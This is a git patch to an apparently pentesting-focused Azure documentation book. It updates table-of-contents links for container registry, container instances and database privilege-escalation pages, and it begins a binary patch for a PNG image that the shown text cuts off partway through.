From a51d74609c700c47de471b7c0caabf7000b3aafd Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 12 Jan 2025 18:44:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 12 +- src/images/registry_roles.png | Bin 0 -> 33553 bytes .../az-container-instances-privesc.md | 64 +++++++ .../az-container-registry-privesc.md | 115 +++++++++++++ .../az-services/az-container-instances.md | 45 +++++ .../az-services/az-container-registry.md | 157 ++++++++++++++++++ 6 files changed, 389 insertions(+), 4 deletions(-) create mode 100644 src/images/registry_roles.png create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-instances.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-registry.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 0000000000000000000000000000000000000000..f1d4a361518909201ee9ff872cf1002c4acf238c GIT binary patch literal 33553 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 